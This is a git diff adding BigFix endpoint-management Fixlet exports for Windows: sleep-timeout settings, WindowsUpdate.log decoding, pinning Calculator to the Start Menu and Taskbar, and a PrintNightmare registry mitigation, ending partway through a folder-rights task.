+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 May 2012 00:55:27 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 17 Nov 2011 19:28:18 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>Manage_Standby_Behavior</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action508">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to change the System Unattended Sleep Timeout setting on the current power profile. You will be prompted for the number of minutes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "inputMinutes" with description "System Unattended Sleep Timeout, in minutes (Default: 2, Min: 2, Max: 1440)"
+continue if {parameter "inputMinutes" of action as integer >= 2 AND parameter "inputMinutes" of action as integer <= 1440}
+waithidden "{pathname of system folder & "\powercfg.exe"}" -SETACVALUEINDEX {value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of registry as string} {"238c9fa8-0aad-41ed-83f4-97be242c8f20 7bc4a2f9-d8fc-4469-b07b-33eb785aaca0"} {parameter "inputMinutes" of action as integer * 60}
+waithidden "{pathname of system folder & "\powercfg.exe"}" -SETDCVALUEINDEX {value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of registry as string} {"238c9fa8-0aad-41ed-83f4-97be242c8f20 7bc4a2f9-d8fc-4469-b07b-33eb785aaca0"} {parameter "inputMinutes" of action as integer * 60}]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes
new file mode 100644
index 000000000..d3b6a4bca
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes	
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7/8 - altered to set defaults to 35min - testing
+  ID       : 1419
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-03-21T10:30:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7/8 - altered to set defaults to 35min - testing</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>By default, systems on standby that are&nbsp;woken by&nbsp;a Wake-on-LAN or Wake-from-Standby event will go back to sleep in two minutes if the system does not receive any user input. This may cause a condition called "PC Narcolepsy" where the computer will fall back asleep before tasks can be run on that system.</P>
+<P>Use this Fixlet to configure the amount of time&nbsp;the system will stay&nbsp;awake after recieving a&nbsp;Wake-on-LAN or Wake-from-Standby event on Windows Vista, 7 and 8 systems. This setting is called the "System Unattended Sleep Timeout".</P>
+<P><STRONG>Note:</STRONG> This task only changes the System Unattended Sleep Timeout setting on the current power profile. If the power profile is changed, this task may need to be reapplied.</P></TD></TR></TBODY></TABLE>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win8&quot;) of name of operating system</Relevance>
+    <Relevance>exists keys whose(exists values &quot;AcSettingIndex&quot; of it AND (35*60) != value &quot;AcSettingIndex&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues&quot; of native registry</Relevance>
+    <Category>Standby Behavior</Category>
+    <Source>jgs194</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 29 Mar 2011 23:24:21 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>Manage_Standby_Behavior</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 21 Mar 2013 15:32:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action1664">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to change the System Unattended Sleep Timeout setting on the current power profile. You will be prompted for the number of minutes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// 35*60 represents waiting 35min because the setting is in number of seconds.
+// This must be the same as in the relevance.
+parameter "secToWaitAfterWakeUpUnattended" = "{(35*60) as string}"
+parameter "numOfValuesToChange" = "{number of values "AcSettingIndex" of keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry}"
+// sanity check, must be between 2 and 1440 min. The setting is often 0 for servers since they never sleep.
+continue if {parameter "secToWaitAfterWakeUpUnattended" of action as integer >= (2*60) AND parameter "secToWaitAfterWakeUpUnattended" of action as integer <= (1440*60)}
+//set for balanced
+//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\381b4222-f694-41f0-9685-ff5bb260df2e]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+//set for high performance
+//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+//set for power saver
+//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\a1841308-3541-4fab-bc81-f71556f20b4a]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+//set for any power profile that needs altered, only if it needs altered.
+continue if{exists keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry}
+regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\{(preceding text of first "," of (it & ",") of concatenation "," of names of keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry)}]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance">(parameter &quot;numOfValuesToChange&quot; of action as integer) = (number of values &quot;AcSettingIndex&quot; of keys whose(exists values &quot;AcSettingIndex&quot; of it AND (parameter &quot;secToWaitAfterWakeUpUnattended&quot; of action as integer) != value &quot;AcSettingIndex&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues&quot; of native registry)</SuccessCriteria>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes b/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes
new file mode 100644
index 000000000..efda3f710
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING
+  ID       : 10608
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-29T13:52:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry)</Relevance>
+    <Relevance>exists lines containing &quot;Get-WindowsUpdateLog PowerShell&quot; of files &quot;WindowsUpdate.log&quot; of windows folders</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-03-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Mar 2016 20:34:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+parameter &quot;LogLocation&quot; = &quot;{ pathname of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients }&quot;
+
+parameter &quot;SymLocation&quot; = &quot;{ pathname of items 1 of it whose(item 0 of it = maximum of modification times of files &quot;wuapi.mof&quot; of item 1 of it) of (it, folders &quot;WindowsUpdateLog\SymCache&quot; of ( folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot; ) ) of maximum of modification times of files &quot;wuapi.mof&quot; of folders &quot;WindowsUpdateLog\SymCache&quot; of ( folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot; ) }&quot;
+
+// https://technet.microsoft.com/en-us/library/mt238376.aspx
+// http://powershell-guru.com/dont-19-use-double-quotes-escape-characters/
+// https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx#symbol_servers
+waithidden powershell -ExecutionPolicy Bypass -command &quot;Get-WindowsUpdateLog -SymbolServer &apos;{ parameter &quot;SymLocation&quot; }&apos; -LogPath &apos;{ parameter &quot;LogLocation&quot; }\WindowsUpdate.log&apos;&quot;
+
+// http://answers.microsoft.com/en-us/windows/forum/windows_10-update/windowsupdatelog-unreadable/2e6b05ed-ac91-4186-a362-c6b5a7e42911?auth=1
+// It seems like you can specify a folder for -SymbolServer :
+// Get-WindowsUpdateLog -SymbolServer C:\Users\user\Documents\MySymbols
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes
new file mode 100644
index 000000000..8e05ea44e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes	
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Pin Calc to Windows 7 Start Menu
+  ID       : 677
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-30T10:58:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Pin Calc to Windows 7 Start Menu</Title>
+    <Description>Pin the calculator to a Windows 7 Start Menu</Description>
+    <Relevance>name of operating system contains &quot;Win7&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2012 16:55:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[prefetch RunAsCurrentUser-2.0.3.1.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe
+delete pin.vbs
+delete __createfile
+createfile until end
+Const CSIDL_COMMON_PROGRAMS = &H17
+Const CSIDL_PROGRAMS = &H2
+Set objShell = CreateObject("Shell.Application")
+Set objAllUsersProgramsFolder = objShell.NameSpace(CSIDL_COMMON_PROGRAMS)
+strAllUsersProgramsPath = objAllUsersProgramsFolder.Self.Path
+Set objFolder = objShell.Namespace(strAllUsersProgramsPath & "\Accessories")
+Set objFolderItem = objFolder.ParseName("Calculator.lnk")
+Set colVerbs = objFolderItem.Verbs
+For Each objVerb in colVerbs
+    If Replace(objVerb.name, "&", "") = "Pin to Start Menu" Then objVerb.DoIt
+Next
+end
+move __createfile pin.vbs
+//waithidden cmd.exe /c cscript.exe pin.vbs
+waithidden __Download\RunAsCurrentUser-2.0.3.1.exe --w --q cmd.exe /c cscript.exe pin.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action934">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=438512&tstart=30]]></ActionScript>
+    </Action>
+    <Action ID="Action935">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about silent pinning.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://blogs.technet.com/b/deploymentguys/archive/2009/04/08/pin-items-to-the-start-menu-or-windows-7-taskbar-via-script.aspx</ActionScript>
+    </Action>
+    <Action ID="Action936">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about RunAsCurrentUser utility.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www-01.ibm.com/support/docview.wss?uid=swg21506033</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes
new file mode 100644
index 000000000..4d169addf
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes	
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Pin Calc to Windows 7 Taskbar
+  ID       : 678
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-30T10:58:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Pin Calc to Windows 7 Taskbar</Title>
+    <Description>Pin the calculator to a Windows 7 Taskbar</Description>
+    <Relevance>name of operating system contains &quot;Win7&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2012 16:56:27 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[prefetch RunAsCurrentUser-2.0.3.1.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe
+delete pin.vbs
+delete __createfile
+createfile until end
+Const CSIDL_COMMON_PROGRAMS = &H17
+Const CSIDL_PROGRAMS = &H2
+Set objShell = CreateObject("Shell.Application")
+Set objAllUsersProgramsFolder = objShell.NameSpace(CSIDL_COMMON_PROGRAMS)
+strAllUsersProgramsPath = objAllUsersProgramsFolder.Self.Path
+Set objFolder = objShell.Namespace(strAllUsersProgramsPath & "\Accessories")
+Set objFolderItem = objFolder.ParseName("Calculator.lnk")
+Set colVerbs = objFolderItem.Verbs
+For Each objVerb in colVerbs
+    If Replace(objVerb.name, "&", "") = "Pin to Taskbar" Then objVerb.DoIt
+Next
+end
+move __createfile pin.vbs
+//waithidden cmd.exe /c cscript.exe pin.vbs
+waithidden __Download\RunAsCurrentUser-2.0.3.1.exe --w --q cmd.exe /c cscript.exe pin.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action934">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=438512&tstart=30]]></ActionScript>
+    </Action>
+    <Action ID="Action935">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about silent pinning.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://blogs.technet.com/b/deploymentguys/archive/2009/04/08/pin-items-to-the-start-menu-or-windows-7-taskbar-via-script.aspx</ActionScript>
+    </Action>
+    <Action ID="Action936">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about RunAsCurrentUser utility.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www-01.ibm.com/support/docview.wss?uid=swg21506033</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes b/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes
new file mode 100644
index 000000000..30ce0fab3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : PointAndPrint Mitigation for Printnightmare vulnerability
+  ID       : 26861
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-08T10:04:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>PointAndPrint Mitigation for Printnightmare vulnerability</Title>
+    <Description><![CDATA[<P>Optionally configure the RestrictDriverInstallationToAdministrators registry value to prevent non-administrators from installing printer drivers on a print server.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE \Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint&quot; whose (value &quot;RestrictDriverInstallationToAdministrators&quot; of it as integer = 1) of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-07-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Jul 2021 17:01:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint]&quot; &quot;RestrictDriverInstallationToAdministrators&quot;=dword:00000001
+else
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint]&quot; &quot;RestrictDriverInstallationToAdministrators&quot;=dword:00000001
+endif
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28146">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes b/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes
new file mode 100644
index 000000000..fc0eb23b4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes	
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Powershell - Assign System Account Folder Rights (Prompt for Path)
+  ID       : 26609
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : SYST
+  Imported : 2019-03-05T10:21:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Powershell - Assign System Account Folder Rights (Prompt for Path)</Title>
+    <Description></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Category>Software Distribution</Category>
+    <Source>OSD</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2019-02-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-runAsSystem</Name>
+      <Value>{&quot;passwordType&quot;:&quot;required&quot;,&quot;username&quot;:&quot;&quot;,&quot;asAdmin&quot;:&quot;true&quot;,&quot;userType&quot;:&quot;system&quot;,&quot;completion&quot;:&quot;none&quot;,&quot;targetuser&quot;:&quot;&quot;}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>action-ui-metadata</Name>
+      <Value>{&quot;icon&quot;:&quot;&quot;,&quot;size&quot;:&quot;9046533&quot;,&quot;version&quot;:&quot;0.0&quot;}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdCommandOverride</Name>
+      <Value>a</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swd-wizard-data</Name>
+      <Value>{&quot;lastmodified&quot;:&quot;Thu Feb 21 20:29:36 GMT-0500 2019&quot;,&quot;categories&quot;:[],&quot;useCommandLine&quot;:false,&quot;site&quot;:null,&quot;os&quot;:[],&quot;vendor&quot;:&quot;Wallpaper&quot;,&quot;pkgvariablekey&quot;:&quot;SWD_Package_brad.sexton@sexton.local_1550780131285592&quot;,&quot;runAsSystem&quot;:null,&quot;pkgTag&quot;:&quot;&quot;,&quot;product&quot;:&quot;OSD&quot;,&quot;files&quot;:[{&quot;file_url&quot;:null,&quot;msi_metadata&quot;:null,&quot;sha1&quot;:&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715&quot;,&quot;id&quot;:&quot;C861E36BD7A7F119757BCBA945BC6F23515E6715_1550798976595193&quot;,&quot;filename&quot;:&quot;IMG_2071.JPG&quot;,&quot;appx_metatdata&quot;:null,&quot;dateadded&quot;:&quot;Thu, 21 Feb 2019 20:29:36 -0500&quot;,&quot;exe_metadata&quot;:null,&quot;compressed_data_for_package&quot;:false,&quot;spb_metadata&quot;:null,&quot;osd_metadata&quot;:null,&quot;size&quot;:6131476,&quot;folderoffset&quot;:&quot;&quot;,&quot;ReferenceName&quot;:&quot;/C861E36BD7A7F119757BCBA945BC6F23515E6715/IMG_2071.JPG&quot;,&quot;HasAnonymousReference&quot;:false,&quot;sha256&quot;:&quot;0b1fbb69323abf4c6d94221626b598ceae46320ffebad240464f0350ec5aa6e2&quot;,&quot;uploadSuffix&quot;:&quot;bfswd&quot;,&quot;appv_metadata&quot;:null,&quot;ReferenceID&quot;:&quot;5151&quot;,&quot;rpm_metadata&quot;:null},{&quot;file_url&quot;:null,&quot;msi_metadata&quot;:null,&quot;sha1&quot;:&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F&quot;,&quot;id&quot;:&quot;054E100047CA5C0AAAB3C01CB965313E5994A00F_1550780146769758&quot;,&quot;filename&quot;:&quot;IMG_3675.JPG&quot;,&quot;appx_metatdata&quot;:null,&quot;dateadded&quot;:&quot;Thu, 21 Feb 2019 15:15:44 -0500&quot;,&quot;exe_metadata&quot;:null,&quot;compressed_data_for_package&quot;:false,&quot;spb_metadata&quot;:null,&quot;osd_metadata&quot;:null,&quot;size&quot;:2915057,&quot;folderoffset&quot;:&quot;&quot;,&quot;ReferenceName&quot;:&quot;/054E100047CA5C0AAAB3C01CB965313E5994A00F/IMG_3675.JPG&quot;,&quot;HasAnonymousReference&quot;:false,&quot;sha256&quot;:&quot;96f30e46ec7c5faac96da6d17ae69c091eb21dc779db2a9b9e8f1ce60e45e693&quot;,&quot;uploadSuffix&quot;:&quot;bfswd&quot;,&quot;appv_metadata&quot;:null,&quot;ReferenceID&quot;:&quot;5067&quot;,&quot;rpm_metadata&quot;:null}],&quot;fullInstallCommand&quot;:null,&quot;comment&quot;:null,&quot;description&quot;:null,&quot;owner&quot;:&quot;brad.sexton@sexton.local&quot;,&quot;version&quot;:&quot;0.0&quot;,&quot;creator&quot;:&quot;brad.sexton@sexton.local&quot;}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-advancedPathOptions</Name>
+      <Value>{&quot;deleteCustomPath&quot;:false,&quot;customPath&quot;:false,&quot;customPathName&quot;:null}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-advancedLogOptions</Name>
+      <Value>{&quot;individualLogCustomerName&quot;:null,&quot;uploadTheLog&quot;:false,&quot;individualLog&quot;:false}</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-swdPackageID</Name>
+      <Value>SWD_Package_brad.sexton@sexton.local_1550780131285592</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-prePostInstall</Name>
